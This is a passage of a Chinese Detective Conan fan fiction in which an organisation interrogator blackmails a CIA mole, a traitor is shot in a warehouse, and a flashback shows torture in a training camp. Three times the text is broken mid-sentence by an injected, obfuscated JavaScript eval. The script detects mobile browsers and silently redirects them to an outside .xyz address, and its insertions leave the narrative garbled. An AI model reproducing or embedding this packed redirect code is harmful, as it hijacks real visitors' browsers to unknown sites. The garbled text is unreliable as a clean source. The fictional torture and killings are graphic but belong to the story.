虽然是紧急潜入,但仍没有彻底接受过专业卧底培训的本堂瑛海跟着紧张起来。 “……不,还是原来的衣服。” “不要动。”伊森本堂彻底严肃下来,开始检查女儿身上的衣物。 他比女儿更加清楚组织的无孔不入,任何一丝疏忽都可能是致命的。 这确实是自己的疏忽,本堂瑛海苍白着脸,配合伊森本堂的指示仔细检查起自己身上。 ……没有。 什么也没有。 两人不由自主地松了口气。 “时刻都要保持警惕,瑛海。”检查几遍也没发现问题,伊森本堂这才稍稍放松。 “我知道了,父亲。” * 顺利回到电视台后,水无怜奈趁机进入洗手间,确保自己的仪容不会透露出一点自己出去了一会儿的细节,却从镜子里瞥见一个熟悉的身影——浅井弥生,那位在休息室碰到的女生。 水无怜奈想起她之前难受的样子,出于礼貌问候道:“你现在好些了吗?” 正在洗手的女生一愣,认出水无怜奈后桃花眼弯起,露出一个明媚的笑。她依旧用虚弱的气音回答:“有点糟糕……本来想着感冒去休息室休息一会儿,没想到这么倒霉被花粉呛到……” 她关上水龙头,无奈地摇摇头。“这个情况已经不适合继续参观了,为了避免传染,我还是先行回家吧。”她说话时,目光自然地扫过水无怜奈胸前的工作牌。 “祝你实习顺利,水无小姐。”离开之际,浅井弥生自然地伸手拍了拍水无怜奈的肩膀,动作随意得像是个友好的告别。 就在这短暂的接触中,那枚微小的发讯器已被重新贴回对方马甲内侧,位置与原处相差无几。 * 浅井弥生离开电视台后,将脖子上伪装用的参观证用打火机烧掉,走进一处没有监控的巷子里脱掉身上伪装的衣物。 幸好如今的季节才刚刚入春,气温还很寒冷,厚重的衣物下很难判断体型。浅井弥生快速将明显是女款的衣物褪下,换上同事推荐的黑色长款风衣,指尖探到下巴处一撕—— 一张易/容面/具被揭下,黑色细软的长发散落,无机质的雾蓝色眼眸在黑暗中缓缓睁开。 【叮——剧情节点“水无怜奈为父亲介绍新的联络人,结果意外导致伊森本堂身份暴露”完成进度(1/2)】 剧情节点是原著事件的起因和结果的浓缩概括,只要达到节点描述上的基本要求,过程不会被世界意识追究。 身份暴露?暴露给谁?给组织——夏特勒兹也是组织成员。 卡着自己的身份bug就能踹便当,何乐而不为呢? 夏特勒兹重新用黑缎蒙上双眼,手里抛了抛细长的录音笔。 水无怜奈介绍新联络人的部分已经完成—— 现在就差伊森本堂那里了。 * 下雨天出门总是令人厌烦的。 黑色的丰田世纪无声地在雨幕滑行,车载收音机里流淌着柔和的古典乐,却缓和不了车内僵硬的氛围。岩上握紧方向盘,强迫自己的注意力全部放在眼前的路况上,试图忽视掉后座蒙眼青年的动作。 但他的目光还是下意识地瞟向后视镜,夏特勒兹安静地靠在椅背上,一支细长的黑色录音笔在他的指尖飞舞转动,动作流畅美观,宛若一场漂亮的表演。 没有像往常一样借着行车的时间继续处理事务或者直接补觉,自从半小时前从任务现场接到夏特勒兹,他就一直安静地坐进车里保持着这个状态。 作为在组织里潜伏了十多年的老手,在这种异常的安静下,他的直觉正在疯狂报警。 红绿灯恰好由绿转红,汽车稳当地停下,雨刮器有节奏地刮擦着玻璃,发出单调的声响。 “[CIA的卧底搜查官先生……或许我应该叫你伊森·本堂。]” 电子音突兀地响起,平静得没有一丝波澜,却像一道惊雷劈开了车内的死寂。 ……什么。 岩上的心脏猛地一缩,几乎停止了跳动,血液仿佛瞬间冻结,一股寒意从脊椎直冲头顶。 他没有回头,也没有回应,只是保持着平稳的呼吸,死死地盯着前方被雨水模糊的红灯。 试探?确凿?摊牌?处决? 为什么他会知道这个名字?到底是那里出了问题? 就在他思绪混乱之际,一个黑色的物体轻巧地抛了过来,落在副驾驶的座位上。 ——是那支录音笔。 它的按键仿佛被无形的手指按下,车内狭小的空间里,立刻响起了一段清晰得令人窒息的对话。 【时刻都要保持警惕,瑛海。】 【我知道了,父亲。】 录音到此戛然而止,车厢内的空气凝固,只剩下令人心悸的沉默,只有雨点敲击车顶的嗒嗒声,和空调系统微弱的气流声还在证明时间没有停止。 ……那是半个月前,瑛海给他介绍新的联络人时的录音。 不可能!他很谨慎地检查了瑛海身上,并没有任何监听设备……! 岩上一郎……不,伊森本堂,他的手死死地攥着方向盘,指节因为用力而彻底失去了血色,皮革包裹的方向盘在他的紧握下发出不堪重负的细微呻/吟。 他死死盯着后视镜里那个沉默的身影,试图从黑缎之下找出一丝一毫的情绪波动——嘲讽、冷酷、杀意……什么都好。 但他什么也看不到。 夏特勒兹沉默得就像一座深潭,投下再巨大的石块,也激不起丝毫涟漪。 漫长的、令人窒息的十几秒后,伊森本堂终于找回了自己的声音,干涩得像是用砂纸摩擦过喉咙。 “既然知道了,”他每一个字都说得异常艰难,声音嘶哑,“为什么不把我交给审讯部?或者直接处决?这不是你最擅长的工作吗,夏特勒兹大人?” 琴酒负责处决叛徒和卧底,而夏特勒兹负责的是卧底叛徒的排查和审讯工作。 “[因为你的死亡对我毫无价值。]”他听见无机质的电子音平稳响起,“[你们活着,我才能更好的达到目的。]” 不是立即处死,而是“长期投资”。 这比直接的威胁更令人恐惧,因为这意味着他,以及可能牵连到的瑛海,都将成为夏特勒兹手里的筹码,生死不由己。 “你想要什么?”伊森本堂从牙缝里挤出问题,声音在卧底素养下压抑却依旧平稳。 他知道这个问题一旦问出,就等同于默认了对方的指控,但他已经没有退路。 怜奈的撤离必须尽快安排上,至少……至少他要保证女儿能够活下去。 “[合作。]”电子音的回答干脆利落,没有丝毫迂回。 “合作?”岩上几乎要冷笑出声,但卧底的本能和内心的惊疑压下了这份冲动。“和一个你知道的卧底谈合作?夏特勒兹,你说这话的时候你自己有没有笑?” “我凭什么相信一个负责卧底排查和审讯的组织成员?” 跟着夏特勒兹这么多年,他清楚地知道落在对方手里的卧底叛徒下场会变得怎么样,甚至帮着处理过不少他们的尸体。 他试图去思考夏特勒兹的真正目的。 是另一个更残忍的游戏?是组织内部倾轧的新手段?还是某种……善意? 他不相信巧合。那晚的废弃仓库,他确保自己没有在瑛海身上找到任何监听设备,他自己也是特地换了身衣服才前来赴约——很显然问题不在他们身上。 那么还有哪里会出问题? ……场地,整座仓库本身。 毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320393|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟探查任务就是夏特勒兹分配给他的,他想要在仓库里设一个局根本就是易如反掌。 不过现在这些都不重要了。 重要的是,那份录音就像达摩克利斯之剑,悬在他们父女二人的头顶,而对方显然掌握了远比他想象中更多的底牌。 伊森本堂只有两个选择。 拒绝,意味着立刻死亡,并且很可能牵连女儿; 合作,意味着跳入一个深不见底的陷阱,成为恶魔的傀儡,但至少……暂时能活下去,或许还能为怜奈争取一线生机。 作为一个父亲,他其实根本没有选择。 雨势不知不觉间变小了,从倾盆大雨变成了淅淅沥沥的雨丝,在车顶敲出细细密密的声音,却更衬出车厢内死一般的寂静。 伊森本堂感到一种前所未有的精疲力尽,仿佛过去十七年里紧绷的每一根神经都在此刻断裂。所有的伪装、所有的坚持、所有的侥幸心理,都被身后的蒙眼青年轻描淡写地撕得粉碎。 给他带来绝望的人,他的年纪甚至比瑛海还要小。 他深吸一口气,潮湿冰冷的空气涌入肺叶,带来一阵轻微的刺痛,却也让他混乱的大脑清晰了一点。红灯终于转成绿灯,黑色的丰田世纪再次无声地行驶。 伊森本堂没有回头。他沉默了很长一段时间,长到他们终于抵达下一个的任务地点,长到几乎让人以为他改变了主意。 “……我需要做什么?”最终,他用一种极度疲惫却又异常平静的声音轻声问道。 这五个字,几乎耗尽了他全身的力气。 这是一种认输,一种屈服,也是一种绝望之下的托付。他交出了自己的主导权,将自己和女儿的命运,押在了一个极度危险的未知数上。 他已经预想到会听到一系列危险的任务指令,或者苛刻的情报要求,又或许是担任一名刺探前线的炮灰。 可电子音的回答出乎他的意料。 “[你以为那些被清除的,都是真正的叛徒吗?]” 什么? 这句话像一颗投入深潭的石子,在伊森本堂心里激起层层涟漪。他想要说些什么,但夏特勒兹的电子音已经继续。 “[继续做你最擅长的事,伊森先生——活下去。]” 电子音声音停顿了一下,接着补充道:“[像过去十七年一样,保持沉默,继续观察,做好你的人设。]” “[记住,你的首要任务是确保自己和您的女儿瑛海小姐的安全,任何可能引起朗姆或琴酒怀疑的举动,都必须停止。]” 什么意思? 这番话让伊森本堂愣住。 夏特勒兹知道他和瑛海的真实姓名、关系、隶属机构,甚至知道他是17年前开始潜伏卧底,他所掌握的情报和底牌比他想象的还要多。 可就是这么一个人,提出的合作没有具体的任务,也没有明确的要求,只有一句简单的“活下去”?这太不寻常了。 “[暂时不需要你做任何特别的事。当需要的时候,我会让你知道。]”仿佛看穿了他的困惑,电子音补充道。 伊森本堂的思绪陷入一片混乱。 活下去?就这么简单?这个要求本身就像是一个精心设计的陷阱。 伊森本堂的大脑飞速运转,试图从各个角度剖析这个令人费解的命令。 如果夏特勒兹真如他所表现的那样,是个彻头彻尾的组织忠诚者,那么他此刻最合理的做法应该是将他立刻押往审讯室,用尽一切手段撬开他的嘴,挖出CIA在组织内部乃至日本布建的所有网络,然后将他和怜奈作为叛徒典型公开处决。 这才是组织训练营的毕业生、忠诚于组织和那位先生的夏特勒兹会做的事,也是琴酒、朗姆甚至是BOSS期望看到的结果——高效、残忍、符合组织利益最大化。 但夏特勒兹没有。 他选择了一条更复杂、更迂回、也更具风险的道路——他保留了一个已知的卧底,甚至提供庇护。 这需要冒多大的风险?一旦事情败露,夏特勒兹自己也会万劫不复。 他图什么?有什么是值得他为一个中层成员冒如此奇险。 除非……他所图更大。或者,他的立场根本并非表面那样。 这个念头一旦产生,就像藤蔓一样疯狂滋长,缠绕住伊森本堂的每一根思维神经。 他开始回忆与夏特勒兹共事的点点滴滴。那些曾被忽略的细节,此刻在怀疑的滤镜下,呈现出截然不同的色彩。 夏特勒兹确实以残忍高效的审讯著称,他对待叛徒的手段极端酷烈。 但那句轻描淡写的反问:[你以为那些被清除的,都是真正的叛徒吗?] 这句话细思极恐。如果那些被夏特勒兹亲手处决的,并不都是叛徒,那他们是什么? 是派系斗争的牺牲品?是灭口的知情人?还是……真正的叛徒早已被调包送走,留下的只是替死鬼? 伊森本堂感到一阵寒意从脊椎升起。 如果他的猜测有万分之一的可能接近真相,那么夏特勒兹就绝不仅仅是一个组织的高层干部,更是一个深藏在黑暗最深处的幽灵,一个游走于各方势力之间的多重扮演者。 他保护一个CIA卧底,也许不是为了组织,甚至不是为了他自己,而是为了某个更宏大、更难以想象的计划。在这个计划里,岩上一郎和水无怜奈可能都只是微不足道的棋子,但却是目前必须保活的棋子。 这个想法既让人恐惧,又带来一丝荒谬的希望。如果夏特勒兹真的另有所图,甚至可能是某个第三方势力的人,那么他和怜奈或许真的有一线生机。 他到底是谁?他真正效忠的是谁?自己这步险棋,究竟是走向深渊,还是……? 伊森本堂发现自己竟不敢再深想下去。 车门锁发出轻微的“咔哒”声。 伊森本堂还没有反应过来,后排的车门已经被推开又关上。他猛地扭头,只看到一个撑着黑色长柄伞的修长身影,正不紧不慢地走向任务地点的阴影中,脚步声被雨声轻易吞没。雨丝在伞面上溅起细微的水花,那身影很快便与深沉的夜色融为一体,消失不见。 仿佛从未出现过。 54.卧底 诸伏清浅其实有想过,如果他踹掉伊森本堂的便当,那么水无怜奈又该怎么办。 原著中水无怜奈是基于反杀岩上一郎、成功提交“投名状”的条件下才获得代号“基尔”,代替父亲继续作为CIA的眼线潜伏在组织。 如今伊森本堂好好活着,那么水无怜奈大概率会按照一开始的安排,准备假死脱离组织。 ——这样的话基尔就不会诞生,未来柯学元年的来叶崖假死剧情也不会发生。 世界意识对此和诸伏清浅打包票:放心好了,世界线收束,这种关键剧情是没办法蝴蝶掉的。 诸伏清浅没对蝴蝶剧情抱有太大希望,能在剧情节点手中救下伊森本堂他已经谢天谢地……虽然距离他们真正达成合作还有很长一段距离。 但,这不代表我希望看到这种剧情发生啊。 夏特勒兹接到消息赶到时,空旷的仓库里弥漫着铁锈味、硝烟味和淡淡的血腥味,所代表的含义不言而喻。 “[看来我错过了精彩的部分。]”平静的电子音响起,打破了仓库内凝滞的气氛。 所有人的视线都集中到门口。琴酒靠着堆放的木箱,银发在昏暗的灯光下格外醒目,脸色阴沉得几乎要滴出水。伏特加站在他身侧,显得有些无措。 莱伊和波本在仓库的出口处警戒,两人的距离恨不得拉开百八十米。苏格兰背着贝斯包站在一个不远不近的位置警惕着——他的目标主要是仓库中间蹲着的阿尼赛特。 仓库中央,阿尼赛特正单膝跪地,用手帕死死压在一个仍在呻/吟的男人手腕的伤口上。他的脸上没有表情,仿佛在处理一件物品。 旁边的水无怜奈被反拷在管道上,嘴角渗血,眼神有些失焦但仍保持着最后一丝清醒。 “我抓到一只老鼠。”阿尼赛特抬起头,语气是死板的平静——训练营专门训练过,诸伏清浅一时间还没办法捕捉对方话语中的情绪。 夏特勒兹的导盲杖缓缓点地,走到中央。虽然黑缎蒙住了他的双眼,但阿尼赛特还是能感觉到对方是在看着自己。 “[我记得这次是个清理任务,不是捕鼠任务。]” “是意外收获。”阿尼赛特简洁的回答就像是在汇报行动日志。“外围探查时发现异常信号源,追查过来就发现卡尔在逼供水无。” 卡尔——躺在地上痛苦呻/吟的男人,他手腕处的鲜血正不断从阿尼赛特指缝间渗出。 “[逼供。]”蒙眼青年微微侧头“看”向水无怜奈所在的方向,“[水无,还清醒着的话就发个言。]” 水无怜奈艰难抬起头:“是…我一开始觉得那家伙的行为有些可疑,没想到他会反过来突然袭击我,给我注射了什么东西…大概是吐真剂?然后他问了很多关于您的问题……” “[问了什么?]”电子音毫无波澜。 “问了您的行程…常去的安全屋…还有……”水无怜奈的声音微微发着颤,“问了一些很奇怪的问题…‘毒蛇’、‘回廊’、‘毕业考核’…我不明白是什么意思……” 空气仿佛凝固了。 琴酒夹着烟的手指顿在半空,墨绿色的眼眸中闪过一丝极寒的厉色。 阿尼塞特按压伤口的手停顿了零点几秒,这是他唯一可见的反应。 他抬起眼,目光扫过水无,那眼神不像人类在看同类,更像扫描仪在读取条形码,冰冷而专注。 一向面无表情的莱伊都微微眯起眼睛,波本的目光在夏特勒兹和阿尼赛特之间快速移动。 苏格兰搭在贝斯带上的手指猛地收紧一瞬。他虽然不完全明白这些词的含义,但组织里会用“毕业”这个词的,只有那个地狱——训练营。他脑海里闪过第三基地中,对训练营讳莫如深的杉本教官,迅速垂下眼眸,掩盖住其中的惊疑与警惕,但绷紧的下颔线还是泄露了情绪的波动。 卡尔不应该知道这些。 “那是什么?”莱伊问了一句。 “训练营里的黑话。”阿尼赛特茶色的眼眸也变暗不少。 “闭嘴,阿尼塞特。” 琴酒冷冷打断,但墨绿色的眼睛第一次真正锐利地盯着地上的卡尔。“夏特勒兹。”他将问题抛了回来,语气冷冽。 电子音沉默了片刻:“[能问‘黑话’的人,不可能只是普通卧底。]” 夏特勒兹的盲杖突然转向阿尼塞特:“[你刚才说,追踪异常的信号源?]” “是,特殊的加密模式,疑似官方紧急撤离的信号。”阿尼赛特顿了顿,补充道:“信号在他与水无发生接触后第7分34秒,应该是行动暴露后的紧急预案。” “[也就是说,]”电子音缓缓说道,“[他的暴露,是因为你的追踪逼他提前启动了撤离程序。而你,又恰好‘阻止’了他的撤离。]” “[我记得这个人是朗姆大人亲自推荐进行动组的,没错吧?]” 阿尼塞特没有反驳,只是沉默地接受了这个事实判断。 “真是精彩的总结。”琴酒冷笑一声,他的目光扫过卡尔,又扫过阿尼塞特。 就在这时,卡尔突然挣扎着抬起头,用尽最后力气嘶哑地喊道:“…教官…江口…他…没说…!朗姆大人…我……” 砰! 枪声干脆利落,没有一丝犹豫,阿尼塞特手中的枪口甚至没有多余晃动。 “灭口。”阿尼塞特收回枪,语气平淡地像在陈述天气,“他试图透露关键情报。"” 这一次,他甚至没有用“反抗”作为借口,而是直接承认了目的。 仓库里死一般寂静。 琴酒缓缓掐灭烟头:“你倒是替朗姆清理得很干净。”他的语气听不出是赞许还是讽刺。 夏特勒兹的“视线”转向地上逐渐冰冷的尸体。良久,电子音再次响起: “[既然如此,水无的审查就由我来负责。 阿尼塞特,既然你展示了如此高效的‘处理’能力,那么接下来就协助琴酒进行清扫工作——你们需要合作的‘遗留问题’看来不少。]” “[至于朗姆大那里,]”电子音继续说道,“[我会亲自汇报今天的情况。毕竟是他推荐的人出了问题,而且‘教官江口’,‘未说出的信息’……这些线索都值得深入追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349103|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查,想必朗姆大人也会非常‘关切’。]” “走了。”琴酒冷哼一声下令,率先走出仓库,伏特加立刻跟上。 * 去往审讯室的路上,车厢内弥漫着压抑的沉默。岩上一郎通过后视镜观察着夏特勒兹,发现他的食指正无意识地在膝盖上敲——他在烦躁。 “[岩上。]”电子音突然响起。 岩上一郎收回自己的视线:“在。” “[你怎么看今天的事。]” “属下不知。” 夏特勒兹没再追问,而是头疼地长吐一口气。 “江口”,“教官”,这两个关键词放在一起——他只能想到在训练营里教射击的独眼龙教官,因为视物障碍他没少被他责骂。 死掉了。 杉本和江口作为存活下来的训练营教官,即使年纪大了,谨慎也不必多言。 他刚从杉本那里得知,他们已经有三四个月没有联络——这意味着三四个月前江口已经遇害。 …… 最后一块拼图,齐了。 事情的开始还是要从阿尼赛特开始。 训练营一直由BOSS掌控,容不得他人染指——尤其是训练营出了两个能力足以压制朗姆的毕业生,BOSS更不能让贪心的朗姆把手伸到训练营去。 好不容易拿到阿尼赛特这个毕业生(虽然是失败品),朗姆自然想要从阿尼赛特那里拿到训练营的相关情报——这当然是不可能的。 夏特勒兹对训练营的洗//脑很自信,虽然阿尼赛特达不到BOSS的预期,但绝对的忠诚是一切的保障——“训练营的一切属于BOSS”,这是一条刻在训练营毕业生骨子里的铁律,朗姆没办法从阿尼赛特那里拿到训练营的相关信息。 于是朗姆盯上了江口——一个他不知道怎么知道的训练营教官。 卡尔……他知道卡尔,一个CSIS(加拿大安全情报局)的卧底,他被朗姆推荐进行动组的时候自己还顺手暗中推了一把。 而能从他口中说出“江口”二字,那么江口的死和他有关……负责审讯什么的。 在发现身份暴露后准备撤离,结果没想到会碰上水无怜奈,试图在撤离之前,从夏特勒兹这个训练营毕业生的下属口中得到更多情报——结果没想到阿尼赛特也来了。 但这已经不是普通的情报泄露了。他扶额。 虽然夏特勒兹没有审查出卡尔的卧底身份需要追责,但就算阿尼赛特及时帮朗姆灭口,也遮掩不住朗姆把手伸太长的事实。 ……哈哈,大家都没淘到好处呢。 “[……对了,水无脱离组织的事情还是缓一缓吧,这次事情比较严重,我可能需要去面见一下那位先生。]” 那位先生……BOSS?! 潜伏十七年,岩上一郎当然知道这个代称指的是谁。 “[做好准备,岩上。]”他从后视镜看见上司慢慢敲打手机键盘,无机质的电子音透出严肃的感觉。 “[我认为现在水无脱离组织的几率很小——做好她要继续潜伏的准备。]” 55.问责 这一次算是“久违”的拜访呢,鸟取县的深山,蜿蜒曲折的道路,古老又暗藏玄机的别墅。 诸伏清浅缓缓深呼吸,在佣人的指引下将身上的武器全部上交,在进去之前他察觉到有人正在出来。 是朗姆。系统定位告诉了他答案。 他偷偷打开系统外置视野,果然看见朗姆脸上的凝重神色。 对方显然也看见了夏特勒兹,但他也不过是脚步微微一凝,继续离开别墅,和即将进入的蒙眼青年擦肩而过。 清浅缓步进入书房——单膝跪下。他控制着自己的每一次呼吸,使其微弱到几乎不存在,肌肉松弛,呈现出绝对恭顺的姿态。这是他从小被刻入骨髓的反应,但他的思维仍不受控制地发散。 乌丸莲耶。这个年纪破百的老乌鸦身体比上一次见面糟糕了些,呼吸急促,由呼吸肌疲劳导致。房间内还有四个人,从身上的消毒水味道可以断定有两位是医生,时刻注意着老乌鸦的状态,另外两位则是佣人。 “夏特勒兹,我的孩子。”乌丸莲耶的声音年迈嘶哑,真的很像一只扯着嗓子喊叫的老乌鸦。 “朗姆……刚出去。”乌丸莲耶干瘪的嘴角嚅着一丝冰冷的讥诮,“他看起来……很不愉快。” 夏特勒兹沉默着等待下文。他不需要回应这种话。 “训练营……”乌丸莲耶顿了顿,积攒了些力气才继续开口说话,“……那些词。从一只老鼠嘴里…说出来。” “我很……失望。” 最后一句被他说得很轻,但在听力敏锐的夏特勒兹看来就像冰锥一样刺入空气。 为了确保老乌鸦的安全,诸伏清浅的手机没有被允许带进来。一个佣人上前靠近夏特勒兹,仔细辨别他的气音同步转述出他的回答。 “先生,是我的失职。”他的气音没有任何辩解,直接承担了责任——他知道任何解释都是软弱和推诿的表现。 “失职……”话语伴随着风穿过枯骨般的笑声,“朗姆…也是这么说的。他说…是江口的意志…不够坚定。还说…是阿尼赛特…打乱了他的试探。” 诸伏清浅的心脏微微一缩。 朗姆果然把责任推给了已死的江口,并试图将阿尼赛特的行动定性为“破坏试探”。 “但老鼠…为什么能靠近…粮仓?”乌丸莲耶的声音冰冷而锐利,“看门的人……难道没有责任吗?” 看门的人,负责卧底排查的夏特勒兹和情报组的负责人朗姆。 “……这是我无法推卸的责任。”夏特勒兹再次用平静的气音回应。 “朗姆…太急了。也太…自作聪明。”乌丸莲耶的声音平铺直叙,但诸伏清浅能感受到话语背后那巨大的、令人战栗的怒意,“他以为…绕过我,就能得到…他想要的。” “愚蠢。” “他手下的人…出了这么大的纰漏。他管理的…情报网络…被渗透的像个筛子。他推荐的‘人才’…成了笑话……” “他需要……冷静一下。” “谨遵您的意志。” “他名下…百分之三十的…特别预算,划给琴酒的行动组。” “他负责的…东亚外部情报网…暂时由你代管。” 卧槽,玩这么大?! 诸伏清浅心中猛地一震。这是极其严厉的惩罚! “是。”他的气音没有泄露丝毫情绪。 “但是……你,”幽火般的目光聚焦在诸伏清浅身上,“夏特,我的孩子。” “江口…是你那时的…教官。”乌丸莲耶的语气甚至带上了一丝奇异的“惋惜”。 “规矩…你是懂的。活口…才会说话。你当初的仁慈,现在…结出了苦果。” 诸伏清浅感到一股寒意顺着脊椎爬升。……不,不能迟疑,他必须回答。 “是我的过错。”他再次承认。 “过错……需要弥补。”乌丸莲耶的声音变冷了些许,“找到他们。” “所有…知道‘毒蛇’和‘回廊’的人。所有…和卡尔…有关联的人。所有…接触过江口…撬出来那些碎片的人。” “清理掉。用你…最擅长的方式。问出…一切。然后,让秘密…永远沉默。” “明白。” 房间内陷入短暂的沉默,只有长短不一的呼吸声。那幽火一样的目光似乎略微偏移,仿佛在审视什么。 “不过……”他的语调有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他冰冷的指尖无意识地划过盲杖。 狩猎……开始了。 56.一些过去4.0 杉本觉得今天基地的通风系统大概又坏了。 空气里弥漫着一股陈旧的铁锈味和过度清洁后的化学柠檬香,还有一种更深层的、无法驱散的血与恐惧的沉淀物气味。 狭小的储物间里,他坐在堆叠起的木箱子上,手指无意识地敲击木板,节奏与他心脏跳动的频率截然不同。 他知道时间快到了。 桌上的终端屏幕早已一片漆黑,权限被无声无息地注销。这是一种心照不宣的沉默,是死神到来前的清场。 他没什么感觉。恐惧?或许有一点,但更多的是一种“果然如此”的麻木。 从夏特勒兹来问江口时,他就知道,当年的侥幸分期付款,如今连本带利到期了。 江口已经没了,其他几个老家伙估计也已经先走一步。 他的思绪不受控制地飘回多年前,那个同样弥漫着消毒水和绝望味道的训练营。 * 第一次见到那个孩子,是在一份异常简短的档案里。 姓名:空缺。 编号:1007。 备注:视觉、言语功能永久性损伤,由外部环境所致(高烧)。建议评估生存可能性。 “盲哑人?”当时做热身的江口凑过来看了一眼,嗤笑一声。“送来这里?是哪个大人物想让他‘自然淘汰’吧?倒是省了我们的事。” 杉本没说话。他只是看着备注里“高烧”那两个字,手指在“生存可能性”上停留了一会儿。 训练营不需要累赘,更不需要慈悲。但这般直接地将一个残疾孩子扔进斗兽场,还是让他那早已麻木的神经轻微地刺了一下。 等见到真人时,那点刺痛感变成了更具体的东西。 孩子很瘦小,几乎只剩一把骨头,乱糟糟的黑发下,一双没有焦距的雾蓝色眼睛空洞地望着前方。 他站在那里,不哭不闹,甚至没有什么表情,像一尊被雨打湿的、即将碎裂的瓷娃娃。 但杉本注意到别的。 那孩子虽然看不见也说不出,但耳朵在极其轻微地动着,捕捉着房间里每一个声音的来源和特质。他的脚尖贴着地面,感知着每一次振动。 ——这不是一个认命等死的人,这是一个在尽全力收集信息的求生者。 “反审讯课程,1007号。”助手干巴巴地报幕。 杉本看着眼前盲哑的小孩,感到一阵前所未有的棘手。 微表情分析?瞳孔反应?言语陷阱?他那一套建立在视觉和听觉反馈上的心理学技艺,在这个孩子面前几乎全军覆没。 这怎么审? 第一次训练课变成了一场荒诞的默剧。 杉本试着拍桌子,那孩子会被惊得浑身颤抖一下,手指猛地蜷缩,但脸上一直努力维持着平静的表情; 他试着播放刺耳的噪音,那孩子会面目痛苦地闭眼,皱眉偏过头,然后一段时间后勉强适应后坐好; 他甚至试着在他面前摔碎一个杯子,飞溅的碎片划破了孩子的小腿,血流了出来,但他只是蹲下身,小心翼翼地感知地上的碎片,双手伤痕累累地将它们拢在一块方便打扫,然后“望”向杉本的方向。 ……啧,莫须有的良心在隐隐作痛。 杉本第一次在自己的课上感到了无力,甚至是一丝无措的尴尬。这孩子不是在抵抗,他是在适应他的审讯。 * 负责反审讯课程的不止杉本一人,而杉本更擅长的是分析微表情,而不是审讯。 因此他经常作为协助者辅助审讯,观察受审人的颤抖和逐渐崩溃的心理防线。 反审讯的极限考核中,那是他第一次见到真正受审状态下的1007号。 因为盲哑人的缘故,助教给他设计了一个安全词……安全动作。 只要他双手握拳在椅子上敲两下,就意味着他招供,训练也会因此结束。 * 三号审讯室里,唯一的声音是石井教官粗重的呼吸,还有金属器械偶尔碰撞的冰冷声响。 杉本靠在阴影处的墙上,嘴里叼着一根没点燃的烟——这是他的习惯,在需要极度专注却又不能亲自动手时,他总会这样做。 考核已经进行了三十个小时。 石井是个暴力派的忠实信徒。他信奉疼痛是撬开所有嘴巴的□□。此刻,他正用一把特制的、不会留下永久性损伤的电/击/棒,抵在1007号的锁骨上,电流的嗡鸣声细微却刺耳。 1007号被绑在特制的拘束椅上,手腕脚踝都被厚实的皮革牢牢固定。他浑身都被冷汗浸透,水滴从他湿透的黑发梢不断滴落,不知是汗水还是之前泼上去的冷水。 但他没有发出任何声音。 没有惨叫,没有呻/吟,甚至没有因为难以忍受的疼痛而加剧的呼吸声。 杉本的眉头越皱越紧。这不对劲。 因为1007号的盲哑,他一直用别的法子……冷、热、饥饿、孤独、剥夺睡眠,所有能绕过语言和视觉的手段,大部分是以环境影响来突破心理防线的手段。 他训练1007号已经大半年,他熟悉这个孩子的一切反应模式,也教会他控制这些,但也深知其极限所在。 他原本预估,以1007号的身体条件和心理承受力,在石井这种纯粹的物理性折磨下,最多撑不过二十小时就会因为生理保护机制而崩溃昏迷。 但现在,三十小时过去了。 1007号不仅没有昏迷,尽管疼痛让身躯颤抖,但呼吸频率的反馈告诉他们——他仍清醒着。 石井显然也意识到了这一点。他的耐心正在耗尽,额头上青筋暴起。这种沉默的、毫无反馈的抵抗,对他这种类型的审讯官来说,是最大的羞辱。 “妈的……”石井咒骂一声,扔掉了电/击/棒,发出哐当一声响。 他喘着粗气,围着椅子转圈,像一头被激怒却找不到对手的公牛。 “小杂种…我看你能装到什么时候!” 他拿起一旁桌上的一瓶高浓度盐水。 杉本下意识地张了张嘴,想提醒石井这已经超出了“考核”范围,很容易造成不可逆的伤害——但他最终还是把话咽了回去。 这里的规则就是这样,要么通过,要么报废。 石井彻底暴怒了。他无法忍受这种彻底的“无视”。他猛地抓住1007号被反绑在椅背后的左手手腕,粗暴地将其扭曲到一个极其不自然的角度。 “叫啊!杂种!给我出声!”他咆哮着,施加压力,此时的他完全忘了1007是个盲哑人的事实。 骨骼和肌腱发出令人牙酸的咯咯声。 就在那一瞬间—— 杉本看到1007号一直低垂的头,猛地抬了起来! 那双雾蓝色的、没有焦距的眼睛,第一次不再是空洞地望向虚无,而是精准地、笔直地“锁定”了石井的喉咙! 一种难以形容的、极度危险的信号像高压电流一样瞬间击穿了杉本所有的专业冷静——那是捕食者终于被激怒、亮出獠牙的信号! “石井!退后!”杉本厉声警告,同时从墙边猛地站直身体。 但太晚了。 就在石井因为杉本的警告而略微分神的百分之一秒—— “啊!” 1007从口中吐出一小片刀片——他到底是等等他到底是什么时候藏的——以一个极其高难度的技巧将金属片射出! 金属片的寒光在空中划出一道简洁至极的弧线,精准地刺向石井的眼睛! 